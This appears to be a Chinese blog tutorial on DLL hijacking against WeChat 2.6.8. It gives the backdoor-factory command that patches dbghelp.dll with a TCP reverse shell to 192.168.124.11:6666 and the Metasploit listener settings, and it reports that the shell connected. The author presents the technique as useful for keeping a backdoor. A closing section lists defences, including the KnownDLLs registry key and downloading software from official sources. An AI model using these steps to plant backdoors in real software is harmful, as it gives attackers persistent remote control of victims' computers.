0x00:前言
最近刚好在忙一个程序的dll劫持测试,现在就随便拿一个程序来练练手。增加一下熟练度。游戏使我快乐!此操作可用于维持后门!
0x01:环境准备
1、win微信2.6.8 下载地址(自行百度)
2、劫持工具(backdoor-factory)
3、增强型任务管理器(Process Explorer)
0x02:过程
1、所用微信版本
2、运行Process Explorer查看微信运行时所有调用的文件
瞅一眼。调用的东西还挺多
这里就拿“dbghelp.dll”来玩玩。
3、神器backdoor-factory出场。
先配置一下反弹的端口跟ip。
代码:
python backdoor.py -f Jaky/dbghelp.dll -s reverse_shell_tcp_inline -P 6666 -H 192.168.124.11
(路径、端口、ip自己改)
回车继续
这里选择“2”。为什么选“2”呢?
(别问。爱过)
生成的后门文件在这
把这个生成后门的“dbghelp.dll”放回回来的位置,让微信运行时,能被调用。
4、msf开启监听模式
set lport 6666
set lhost 192.168.124.11
exploit
执行
5、开整
win中执行“微信”
再看kali监听的情况
是的,没错,反弹成功。
0x03:预防
1、DLL劫持利用系统未知DLL的搜索路径方式,使得程序加载当前目录下的系统同名DLL。所以可以告诉系统DLL的位置,改变加载系统DLL的顺序不是当前目录,而是直接到系统目录下查找。
这个想法可以通过修改注册表实现。
在注册表键值:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\KnownDLLs
是调用系统DLL的首要查找目录。例如里面有RE_SZ类型的"ntdll"="ntdll.dll"项,则系统载入"ntdll"时会直接从系统目录加载。
由此,添加"LPK"="LPK.DLL"即可防止LPK被劫持,同理可以阻止一些其他DLL被劫持,例如"USP10"。
在Windows NT系统,XP默认只有少数关键DLL在此键值下,Win7下面此键值已经相当齐全,在Win7系统下发生DLL劫持的概率要比XP小很多。 (借用百度的预防知识点)
2、还可以通过第三方工具进行dll劫持检测。DllHijackAuditor能够防止木马病毒劫持系统中的dll文件加载运行,是一款很不错的dll文件保护工具。
3、坚持从官方下载软件,拒绝第三方。万一有后门呢?
想了解更多 欢迎关注